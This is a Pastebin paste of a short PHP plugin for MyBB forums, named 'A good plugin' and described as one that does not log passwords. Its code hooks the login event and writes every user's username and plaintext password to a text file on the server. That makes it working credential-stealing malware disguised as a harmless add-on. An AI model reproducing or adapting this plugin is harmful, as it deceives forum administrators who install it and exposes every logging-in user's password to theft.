Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- global $not_a_logfile;
- $not_a_logfile = "test.txt";
- if(!defined("IN_MYBB")){die();}
- $plugins->add_hook("member_do_login_end", "not_a_password_logger");
- function goodplugin_info(){
- return array(
- "name" => "A good plugin",
- "description" => "A good plugin that does not log passwords to a file in the forum's root directory",
- "website" => "",
- "author" => "not shygoo",
- "authorsite" => "",
- "version" => "1.0",
- "guid" => "",
- "compatibility" => "*"
- );
- }
- function goodplugin_is_installed(){
- return true;
- }
- function goodplugin_install(){}
- function goodplugin_uninstall(){}
- function goodplugin_activate(){}
- function goodplugin_deactivate(){}
- function not_a_password_logger(){
- global $mybb;
- global $not_a_logfile;
- $name = $mybb->get_input('username');
- $pass = $mybb->get_input('password');
- file_put_contents($not_a_logfile, $name.":".$pass."\n", FILE_APPEND);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement